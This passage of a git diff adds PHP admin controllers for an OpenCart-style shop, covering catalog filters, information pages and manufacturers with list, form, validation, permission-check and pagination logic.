+ $data['filters'] = $this->request->post['filter'];
+ } elseif (isset($this->request->get['filter_group_id'])) {
+ $data['filters'] = $this->model_catalog_filter->getFilterDescriptions($this->request->get['filter_group_id']);
+ } else {
+ $data['filters'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/filter_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/filter')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['filter_group_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 64)) {
+ $this->error['group'][$language_id] = $this->language->get('error_group');
+ }
+ }
+
+ if (isset($this->request->post['filter'])) {
+ foreach ($this->request->post['filter'] as $filter_id => $filter) {
+ foreach ($filter['filter_description'] as $language_id => $filter_description) {
+ if ((utf8_strlen($filter_description['name']) < 1) || (utf8_strlen($filter_description['name']) > 64)) {
+ $this->error['filter'][$filter_id][$language_id] = $this->language->get('error_name');
+ }
+ }
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/filter')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('catalog/filter');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $filters = $this->model_catalog_filter->getFilters($filter_data);
+
+ foreach ($filters as $filter) {
+ $json[] = array(
+ 'filter_id' => $filter['filter_id'],
+ 'name' => strip_tags(html_entity_decode($filter['group'] . ' > ' . $filter['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/information.php b/public/admin/controller/catalog/information.php
new file mode 100644
index 0000000..8f8f0c5
--- /dev/null
+++ b/public/admin/controller/catalog/information.php
@@ -0,0 +1,606 @@
+load->language('catalog/information');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/information');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/information');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/information');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_information->addInformation($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/information');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/information');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_information->editInformation($this->request->get['information_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/information');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/information');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $information_id) {
+ $this->model_catalog_information->deleteInformation($information_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'id.title';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/information/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/information/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['enabled'] = $this->url->link('catalog/information/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('catalog/information/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['informations'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $information_total = $this->model_catalog_information->getTotalInformations();
+
+ $results = $this->model_catalog_information->getInformations($filter_data);
+
+ foreach ($results as $result) {
+ $data['informations'][] = array(
+ 'information_id' => $result['information_id'],
+ 'title' => $result['title'],
+ 'sort_order' => $result['sort_order'],
+ 'noindex' => $result['noindex'],
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=information/information&information_id=' . ($result['information_id']),
+ 'edit' => $this->url->link('catalog/information/edit', 'user_token=' . $this->session->data['user_token'] . '&information_id=' . $result['information_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_title'] = $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . '&sort=id.title' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . '&sort=i.sort_order' . $url, true);
+ $data['sort_noindex'] = $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . '&sort=i.noindex' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $information_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($information_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($information_total - $this->config->get('config_limit_admin'))) ? $information_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $information_total, ceil($information_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/information_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['information_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['title'])) {
+ $data['error_title'] = $this->error['title'];
+ } else {
+ $data['error_title'] = array();
+ }
+
+ if (isset($this->error['description'])) {
+ $data['error_description'] = $this->error['description'];
+ } else {
+ $data['error_description'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['information_id'])) {
+ $data['action'] = $this->url->link('catalog/information/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/information/edit', 'user_token=' . $this->session->data['user_token'] . '&information_id=' . $this->request->get['information_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['information_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $information_info = $this->model_catalog_information->getInformation($this->request->get['information_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['information_description'])) {
+ $data['information_description'] = $this->request->post['information_description'];
+ } elseif (isset($this->request->get['information_id'])) {
+ $data['information_description'] = $this->model_catalog_information->getInformationDescriptions($this->request->get['information_id']);
+ } else {
+ $data['information_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['information_description'][$language_id]['title'])) {
+ $data['heading_title'] = $data['information_description'][$language_id]['title'];
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['information_store'])) {
+ $data['information_store'] = $this->request->post['information_store'];
+ } elseif (isset($this->request->get['information_id'])) {
+ $data['information_store'] = $this->model_catalog_information->getInformationStores($this->request->get['information_id']);
+ } else {
+ $data['information_store'] = array(0);
+ }
+
+ if (isset($this->request->post['bottom'])) {
+ $data['bottom'] = $this->request->post['bottom'];
+ } elseif (!empty($information_info)) {
+ $data['bottom'] = $information_info['bottom'];
+ } else {
+ $data['bottom'] = 0;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($information_info)) {
+ $data['status'] = $information_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($information_info)) {
+ $data['noindex'] = $information_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($information_info)) {
+ $data['sort_order'] = $information_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ if (isset($this->request->post['information_seo_url'])) {
+ $data['information_seo_url'] = $this->request->post['information_seo_url'];
+ } elseif (isset($this->request->get['information_id'])) {
+ $data['information_seo_url'] = $this->model_catalog_information->getInformationSeoUrls($this->request->get['information_id']);
+ } else {
+ $data['information_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['information_layout'])) {
+ $data['information_layout'] = $this->request->post['information_layout'];
+ } elseif (isset($this->request->get['information_id'])) {
+ $data['information_layout'] = $this->model_catalog_information->getInformationLayouts($this->request->get['information_id']);
+ } else {
+ $data['information_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/information_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/information')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['information_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['title']) < 1) || (utf8_strlen($value['title']) > 64)) {
+ $this->error['title'][$language_id] = $this->language->get('error_title');
+ }
+
+ if (utf8_strlen($value['description']) < 3) {
+ $this->error['description'][$language_id] = $this->language->get('error_description');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if (isset($this->request->post['information_seo_url']) && is_array($this->request->post['information_seo_url'])) {
+ foreach ($this->request->post['information_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['information_description'])) {
+ foreach ($this->request->post['information_description'] as $language_id => $value) {
+ if (!empty($value['title'])) {
+ if (!isset($this->request->post['information_seo_url'][0][$language_id]) || trim($this->request->post['information_seo_url'][0][$language_id]) === '') {
+ $this->request->post['information_seo_url'][0][$language_id] = translit($value['title']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['information_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['information_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['information_id']) || ($seo_url['query'] != 'information_id=' . $this->request->get['information_id']))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('catalog/information');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/information');
+ if (isset($this->request->post['selected']) && $this->validateEnable()) {
+ foreach ($this->request->post['selected'] as $information_id) {
+ $this->model_catalog_information->editInformationStatus($information_id, 1);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('catalog/information');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/information');
+ if (isset($this->request->post['selected']) && $this->validateDisable()) {
+ foreach ($this->request->post['selected'] as $information_id) {
+ $this->model_catalog_information->editInformationStatus($information_id, 0);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ protected function validateEnable() {
+ if (!$this->user->hasPermission('modify', 'catalog/information')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDisable() {
+ if (!$this->user->hasPermission('modify', 'catalog/information')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/information')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+
+ foreach ($this->request->post['selected'] as $information_id) {
+ if ($this->config->get('config_account_id') == $information_id) {
+ $this->error['warning'] = $this->language->get('error_account');
+ }
+
+ if ($this->config->get('config_checkout_id') == $information_id) {
+ $this->error['warning'] = $this->language->get('error_checkout');
+ }
+
+ if ($this->config->get('config_affiliate_id') == $information_id) {
+ $this->error['warning'] = $this->language->get('error_affiliate');
+ }
+
+ if ($this->config->get('config_return_id') == $information_id) {
+ $this->error['warning'] = $this->language->get('error_return');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByInformationId($information_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/catalog/manufacturer.php b/public/admin/controller/catalog/manufacturer.php
new file mode 100644
index 0000000..dd2963a
--- /dev/null
+++ b/public/admin/controller/catalog/manufacturer.php
@@ -0,0 +1,584 @@
+load->language('catalog/manufacturer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/manufacturer');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/manufacturer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/manufacturer');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_manufacturer->addManufacturer($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/manufacturer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/manufacturer');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_manufacturer->editManufacturer($this->request->get['manufacturer_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/manufacturer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/manufacturer');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $manufacturer_id) {
+ $this->model_catalog_manufacturer->deleteManufacturer($manufacturer_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/manufacturer/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/manufacturer/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['manufacturers'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $manufacturer_total = $this->model_catalog_manufacturer->getTotalManufacturers();
+
+ $results = $this->model_catalog_manufacturer->getManufacturers($filter_data);
+
+ foreach ($results as $result) {
+ $data['manufacturers'][] = array(
+ 'manufacturer_id' => $result['manufacturer_id'],
+ 'name' => $result['name'],
+ 'sort_order' => $result['sort_order'],
+ 'noindex' => $result['noindex'],
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=product/manufacturer/info&manufacturer_id=' . ($result['manufacturer_id']),
+ 'edit' => $this->url->link('catalog/manufacturer/edit', 'user_token=' . $this->session->data['user_token'] . '&manufacturer_id=' . $result['manufacturer_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . '&sort=sort_order' . $url, true);
+ $data['sort_noindex'] = $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . '&sort=noindex' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $manufacturer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($manufacturer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($manufacturer_total - $this->config->get('config_limit_admin'))) ? $manufacturer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $manufacturer_total, ceil($manufacturer_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/manufacturer_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['manufacturer_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['manufacturer_id'])) {
+ $data['action'] = $this->url->link('catalog/manufacturer/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/manufacturer/edit', 'user_token=' . $this->session->data['user_token'] . '&manufacturer_id=' . $this->request->get['manufacturer_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['manufacturer_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $manufacturer_info = $this->model_catalog_manufacturer->getManufacturer($this->request->get['manufacturer_id']);
+ }
+
